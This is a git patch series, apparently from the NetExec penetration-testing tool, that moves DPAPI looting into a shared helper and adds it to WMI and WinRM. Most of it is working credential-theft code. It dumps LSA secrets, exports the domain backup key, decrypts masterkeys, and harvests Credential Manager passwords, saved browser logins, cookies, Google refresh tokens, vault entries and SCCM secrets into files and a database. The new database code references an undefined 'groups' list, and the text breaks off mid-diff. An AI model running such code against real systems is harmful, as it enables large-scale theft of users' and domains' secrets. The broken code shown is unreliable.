self.lsa() + + masterkeys = collect_masterkeys_from_target(self, target, conn, dpapi_system_key=self.dpapi_system_key) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") @@ -2264,136 +2231,8 @@ def dpapi(self): self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - # Collect User and Machine Credentials Manager secrets - def credential_callback(credential): - tag = "CREDENTIAL" - line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - credential.winuser, - credential.username, - credential.password, - credential.target, - ) - - try: - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) - self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials_triage.triage_credentials() - if dump_system: - credentials_triage.triage_system_credentials() - except Exception as e: - self.logger.debug(f"Error while looting credentials: {e}") - - dump_cookies = "cookies" in self.args.dpapi - - cng_chromekey = None - try: - cng_triage = CngTriage(target=target, conn=conn, masterkeys=masterkeys) - for cng_file in cng_triage.triage_system_cng(): - if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1": - self.logger.debug("Found CNG Google ChromeKey1\n") - cng_chromekey = cng_file.decrypted_private_key - except Exception as e: - self.logger.debug(f"Error while getting CNG ChromeKey1: {e}") - - # Collect Chrome Based Browser stored secrets - def browser_callback(secret): - if isinstance(secret, LoginData): - secret_url = secret.url + " -" if secret.url != "" else "-" - line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - secret.browser.upper(), - secret.winuser, - secret.username, - secret.password, - secret.url, - ) - elif isinstance(secret, GoogleRefreshToken): - line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - secret.browser.upper(), - secret.winuser, - secret.service, - secret.token, - "Google Refresh Token", - ) - elif isinstance(secret, Cookie): - line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - - try: - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) - browser_triage.triage_browsers(gather_cookies=dump_cookies, cng_chromekey=cng_chromekey) - except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - - def vault_callback(secret): - tag = "IEX" - if secret.type == "Internet Explorer": - resource = secret.resource + " -" if secret.resource != "" else "-" - line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - secret.winuser, - secret.username, - secret.password, - secret.resource, - ) - - try: - # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) - vaults_triage.triage_vaults() - except Exception as e: - self.logger.debug(f"Error while looting vaults: {e}") - - def firefox_callback(secret): - tag = "FIREFOX" - if isinstance(secret, FirefoxData): - url = secret.url + " -" if secret.url != "" else "-" - line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - self.db.add_dpapi_secrets( - target.address, - tag, - secret.winuser, - secret.username, - secret.password, - secret.url, - ) - elif isinstance(secret, FirefoxCookie): - line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}" - self.logger.highlight(line) - if self.output_file: - self.output_file.write(line + "\n") - - try: - # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) - firefox_triage.run(gather_cookies=dump_cookies) - except Exception as e: - self.logger.debug(f"Error while looting firefox: {e}") + dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) + dpapi_triage.triage(masterkeys) if self.output_file: self.output_file.close() @@ -2433,6 +2272,9 @@ def add_lsa_secret(secret): ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + if "dpapi_machinekey" in secret: + correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} + self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} add_lsa_secret.secrets = 0 diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py deleted file mode 100644 index 8de80c6197..0000000000 --- a/nxc/protocols/smb/dpapi.py +++ /dev/null @@ -1,100 +0,0 @@ -from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.backupkey import BackupkeyTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file - - -def get_domain_backup_key(context): - pvkbytes = None - try: - results = context.db.get_domain_backupkey(context.domain) - except Exception: - context.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - context.logger.success("Loading domain backupkey from nxcdb...") - pvkbytes = results[0][2] - elif context.no_da is None and context.args.local_auth is False: - try: - dc_target = Target.create( - domain=context.domain, - username=context.username, - password=context.password, - target=context.domain, # querying DNS server for domain will return DC - lmhash=context.lmhash, - nthash=context.nthash, - do_kerberos=context.kerberos, - aesKey=context.aesKey, - no_pass=True, - use_kcache=context.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - context.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - pvkbytes = backupkey.backupkey_v2 - context.db.add_domain_backupkey(context.domain, pvkbytes) - else: - context.no_da = False - except Exception as e: - context.logger.fail(f"Could not get domain backupkey: {e}") - return pvkbytes - - -def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): - masterkeys = [] - plaintexts = {} - nthashes = {} - if context.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(context.args.mkfile) - except Exception as e: - context.logger.fail(str(e)) - if user: - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - # dploot matches user.lower() - if context.password != "": - plaintexts[context.username.lower()] = context.password - if context.nthash != "": - nthashes[context.username.lower()] = context.nthash - - # Collect User and Machine masterkeys - try: - context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=dploot_connection, - pvkbytes=context.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - if user: - context.logger.debug("Collecting user masterkeys") - masterkeys += masterkeys_triage.triage_masterkeys() - if system: - context.logger.debug("Collecting machine masterkeys") - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - context.logger.debug(f"Could not get masterkeys: {e}") - - return masterkeys - - -def upgrade_to_dploot_connection(target, connection=None): - conn = None - try: - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - conn.connect() - except Exception: - return None - return conn diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 5fbb6f93ec..1b508cdd9f 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -43,7 +43,7 @@ def proto_args(parser, parents): enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") - cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") + cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems") cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") From e60d8f1b34cfce3d661aad621c6b9947979dae6e Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 12:04:46 +0200 Subject: [PATCH 115/397] add dpapi for wmi proto --- nxc/protocols/wmi.py | 86 +++++++++ nxc/protocols/wmi/database.py | 306 +++++++++++++++++++++++++++++++- nxc/protocols/wmi/proto_args.py | 4 + 3 files changed, 391 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index c5e5af0dea..1aa6be2f41 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -5,7 +5,11 @@ from nxc.config import process_secret from nxc.connection import connection, dcom_FirewallChecker, requires_admin from nxc.logger import NXCAdapter +from nxc.helpers.logger import highlight from nxc.protocols.wmi import wmiexec, wmiexec_event +from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage + +from dploot.lib.network.wmi import WMITarget as Target from impacket import ntlm from impacket.uuid import uuidtup_to_bin @@ -47,6 +51,8 @@ def __init__(self, args, db, host): } self.iWbemLevel1Login = None self.dcom_conn = None + self.pvkbytes = None + self.no_da = None connection.__init__(self, args, db, host) @@ -484,3 +490,83 @@ def execute_psh(self, command=None, get_output=False): return output else: return output + + @requires_admin + def sccm(self): + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.hostname + "." + self.domain if self.kerberos else self.host, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + no_pass=True, + use_kcache=self.use_kcache, + ) + + conn = upgrade_to_dploot_connection(context=self, target=target, protocol="wmi") + if conn is None: + self.logger.debug("Could not upgrade connection") + return + + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) + + if len(masterkeys) == 0: + self.logger.fail("No masterkeys looted") + return + + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + + dpapi_triage = DPAPITriage(self, target, conn) + dpapi_triage.triage_sccm(masterkeys) + + @requires_admin + def dpapi(self): + self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + + if self.args.pvk is not None: + try: + self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 + self.logger.success(f"Loading domain backupkey from {self.args.pvk}") + except Exception as e: + self.logger.fail(str(e)) + + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) + + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + lmhash=self.lmhash, + nthash=self.nthash, + do_kerberos=self.kerberos, + aesKey=self.aesKey, + no_pass=True, + use_kcache=self.use_kcache, + ) + + conn = upgrade_to_dploot_connection(context=self, target=target, protocol="wmi") + if conn is None: + self.logger.debug("Could not upgrade connection") + return + + masterkeys = collect_masterkeys_from_target(self, target, conn) + + if len(masterkeys) == 0: + self.logger.fail("No masterkeys looted") + return + + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") + + dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) + dpapi_triage.triage(masterkeys) + + if self.output_file: + self.output_file.close() + with open(self.output_file_template.format(output_folder="dpapi")) as f: + if sum(1 for _ in f) == 0: + self.logger.fail("No dpapi loot retrieved") \ No newline at end of file diff --git a/nxc/protocols/wmi/database.py b/nxc/protocols/wmi/database.py index fdf3f720cf..b3da4a63ea 100644 --- a/nxc/protocols/wmi/database.py +++ b/nxc/protocols/wmi/database.py @@ -1,25 +1,35 @@ -from sqlalchemy import Column, Integer, PrimaryKeyConstraint, String +import base64 + +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base from nxc.database import BaseDB +from nxc.logger import nxc_logger Base = declarative_base() class database(BaseDB): def __init__(self, db_engine): - self.CredentialsTable = None + self.UsersTable = None self.HostsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) - class Credential(Base): - __tablename__ = "credentials" + class User(Base): + __tablename__ = "users" id = Column(Integer) + domain = Column(String) username = Column(String) password = Column(String) + credtype = Column(String) + pillaged_from_hostid = Column(Integer) __table_args__ = ( PrimaryKeyConstraint("id"), + ForeignKeyConstraint(["pillaged_from_hostid"], ["hosts.id"]), ) class Host(Base): @@ -33,10 +43,296 @@ class Host(Base): PrimaryKeyConstraint("id"), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) def reflect_tables(self): - self.CredentialsTable = self.reflect_table(self.Credential) + self.UsersTable = self.reflect_table(self.User) self.HostsTable = self.reflect_table(self.Host) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) + + def add_host( + self, + ip, + hostname, + port, + ): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "port": port, + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if port is not None: + host_data["port"] = port + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids + + def add_credential(self, credtype, domain, username, password, pillaged_from=None): + """Check if this credential has already been added to the database, if not add it in.""" + credentials = [] + + if pillaged_from and not self.is_host_valid(pillaged_from): + nxc_logger.debug("Invalid host") + return + + q = select(self.UsersTable).filter( + func.lower(self.UsersTable.c.domain) == func.lower(domain), + func.lower(self.UsersTable.c.username) == func.lower(username), + func.lower(self.UsersTable.c.credtype) == func.lower(credtype), + ) + results = self.db_execute(q).all() + + # add new credential + if not results: + new_cred = { + "credtype": credtype, + "domain": domain, + "username": username, + "password": password, + "pillaged_from": pillaged_from, + } + credentials = [new_cred] + # update existing cred data + else: + for creds in results: + # this will include the id, so we don't touch it + cred_data = creds._asdict() + # only update column if it is being passed in + if credtype is not None: + cred_data["credtype"] = credtype + if domain is not None: + cred_data["domain"] = domain + if username is not None: + cred_data["username"] = username + if password is not None: + cred_data["password"] = password + groups.append({"userid": cred_data["id"], "groupid": group_id}) + if pillaged_from is not None: + cred_data["pillaged_from"] = pillaged_from + # only add cred to be updated if it has changed + if cred_data not in credentials: + credentials.append(cred_data) + + # TODO: find a way to abstract this away to a single Upsert call + q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id) + update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"} + q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users) + nxc_logger.debug(f"Adding credentials: {credentials}") + + self.db_execute(q_users, credentials) # .scalar() + + def remove_credentials(self, creds_id): + """Removes a credential ID from the database""" + self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id))) + + def is_credential_valid(self, credential_id): + """Check if this credential ID is valid.""" + q = select(self.UsersTable).filter( + self.UsersTable.c.id == credential_id, + self.UsersTable.c.password is not None, + ) + results = self.db_execute(q).all() + return len(results) > 0 + + def get_credentials(self, filter_term=None, cred_type=None): + """Return credentials from the database.""" + # if we're returning a single credential by ID + if self.is_credential_valid(filter_term): + q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term) + elif cred_type: + q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type) + # if we're filtering by username + elif filter_term and filter_term != "": + like_term = func.lower(f"%{filter_term}%") + q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term)) + # otherwise return all credentials + else: + q = select(self.UsersTable) + + return self.db_execute(q).all() + + def get_credential(self, cred_type, domain, username, password): + q = select(self.UsersTable).filter( + self.UsersTable.c.domain == domain, + self.UsersTable.c.username == username, + self.UsersTable.c.password == password, + self.UsersTable.c.credtype == cred_type, + ) + results = self.db_execute(q).first() + return results.id + + def is_host_valid(self, host_id): + """Check if this host ID is valid.""" + q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id) + results = self.db_execute(q).all() + return len(results) > 0 + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this group ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results \ No newline at end of file diff --git a/nxc/protocols/wmi/proto_args.py b/nxc/protocols/wmi/proto_args.py index 936a43c76e..47849f6bca 100644 --- a/nxc/protocols/wmi/proto_args.py +++ b/nxc/protocols/wmi/proto_args.py @@ -10,6 +10,10 @@ def proto_args(parser, parents): dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target") cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering") + cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems") + cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") egroup = wmi_parser.add_argument_group("Mapping/Enumeration") From 7ccf5aaddb64405d0783e3ed945da97657f02899 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 22 Jul 2026 12:48:46 +0200 Subject: [PATCH 116/397] add dpapi for winrm --- nxc/helpers/dpapi.py | 7 +- nxc/protocols/smb.py | 2 +- nxc/protocols/winrm.py | 193 +++++++++--------------------- nxc/protocols/winrm/database.py | 142 ++++++++++++++++++++++ nxc/protocols/winrm/proto_args.py | 4 +- nxc/protocols/wmi.py | 2 +- 6 files changed, 209 insertions(+), 141 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index a90ec41d1b..bd7fa9685c 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -116,7 +116,12 @@ def upgrade_to_dploot_connection(target, context=None, protocol:str="smb"): else: conn.connect() case "winrm": - from dploot.lib.network.winrm import WINRMTarget + from dploot.lib.network.winrm import DPLootWINRMConnection + conn = DPLootWINRMConnection(target) + if context is not None: + conn.conn = context.conn + else: + conn.connect() case "mssql": from dploot.lib.network.mssql import MSSQLTarget except Exception as e: diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index c3aa222122..e09bbfbcf8 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2180,7 +2180,7 @@ def sccm(self): self.logger.fail("No masterkeys looted") return - self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials") dpapi_triage = DPAPITriage(self, target, conn) dpapi_triage.triage_sccm(masterkeys) diff --git a/nxc/protocols/winrm.py b/nxc/protocols/winrm.py index 50bd0010fa..ad075b2e25 100644 --- a/nxc/protocols/winrm.py +++ b/nxc/protocols/winrm.py @@ -1,6 +1,7 @@ import os import base64 import traceback +import binascii import requests import urllib3 import logging @@ -12,7 +13,7 @@ from pypsrp.powershell import PSDataStreams from termcolor import colored -from dploot.lib.utils import is_guid, is_credfile +from dploot.lib.network.winrm import WINRMTarget as Target from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes from impacket.uuid import bin_to_string @@ -20,6 +21,7 @@ from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.helpers.bloodhound import add_user_bh +from nxc.helpers.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection, DPAPITriage from nxc.helpers.logger import highlight from nxc.helpers.misc import gen_random_string from nxc.helpers.negotiate_parser import parse_challenge @@ -41,6 +43,9 @@ def __init__(self, args, db, host): self.challenge_header = None self.targetDomain = None self.no_ntlm = False + self.dpapi_system_key = None + self.pvkbytes = None + self.no_da = None connection.__init__(self, args, db, host) @@ -395,156 +400,70 @@ def lsa(self): self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() + + def lsa_secret_callback(_, secret): + self.logger.highlight(secret) + if "dpapi_machinekey" in secret: + correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} + self.dpapi_system_key = {correl_table[k] :binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lsa_secret_callback ) LSA.dumpCachedHashes() LSA.dumpSecrets() def dpapi(self): - """ - Find and unlock Credential Manager masterkeys and credentials owned by user. - The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials. - Actual decryption of keys and credentials is taken and adapted from impacket-dpapi. - """ - user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect") - user_credentials_paths = [ - ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"), - ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials") - ] - - self.logger.display("Collecting DPAPI masterkeys...") - - sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True) - if not sids: - self.logger.fail(f"No masterkeys found for user {self.username}") + dump_system = "nosystem" not in self.args.dpapi + self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + + if self.args.pvk is not None: + try: + self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 + self.logger.success(f"Loading domain backupkey from {self.args.pvk}") + except Exception as e: + self.logger.fail(str(e)) + + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) + + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.host, + port=self.port, + ssl=self.ssl, + lmhash=self.lmhash, + nthash=self.nthash, + ) + + conn = upgrade_to_dploot_connection(context=self, target=target, protocol="winrm") + if conn is None: + self.logger.debug("Could not upgrade connection") return - masterkeys = [] - for sid in sids.splitlines(): - keys_path = ntpath.join(user_masterkey_path, sid.strip()) - keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True) - for key in keys.splitlines(): - stripped_key = key.strip() - if is_guid(stripped_key): - key_path = ntpath.join(keys_path, stripped_key) - self.logger.debug(f"Found masterkey file {key_path}") - local_key_file = f"{TMP_PATH}/{stripped_key}" - self.conn.fetch(key_path, local_key_file) - decrypted_key = self.get_master_key(local_key_file, sid, self.password) - if decrypted_key: - masterkeys.append((stripped_key, decrypted_key)) - - if not masterkeys: - self.logger.fail("Could not decrypt any keys") + if dump_system and self.dpapi_system_key is None: + # Need to get DPAPI SYSTEM keys, prefer to use embedded LSA dump + # if not already dumped + self.lsa() + + masterkeys = collect_masterkeys_from_target(self, target, conn, dpapi_system_key=self.dpapi_system_key) + + if len(masterkeys) == 0: + self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - credential_files = [] - for user_credentials_path in user_credentials_paths: - creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True) - for cred_file in creds.splitlines(): - stripped_cred_file = cred_file.strip() - if is_credfile(stripped_cred_file): - creds_path = ntpath.join(user_credentials_path, stripped_cred_file) - self.logger.debug(f"Found credentials file {creds_path}") - local_cred_file = f"{TMP_PATH}/{stripped_cred_file}" - self.conn.fetch(creds_path, local_cred_file) - credential_files.append(local_cred_file) - - if not credential_files: - self.log.fail(f"No credential files found for user {self.username}") - return + dpapi_triage = DPAPITriage(self, target, conn, dump_cookies="cookies" in self.args.dpapi) + dpapi_triage.triage(masterkeys) - for creds_file in credential_files: - with open(creds_file, "rb") as fp: - data = fp.read() - cred = CredentialFile(data) - blob = DPAPI_BLOB(cred["Data"]) - - guid_masterkey = bin_to_string(blob["GuidMasterKey"]) - right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None) - - 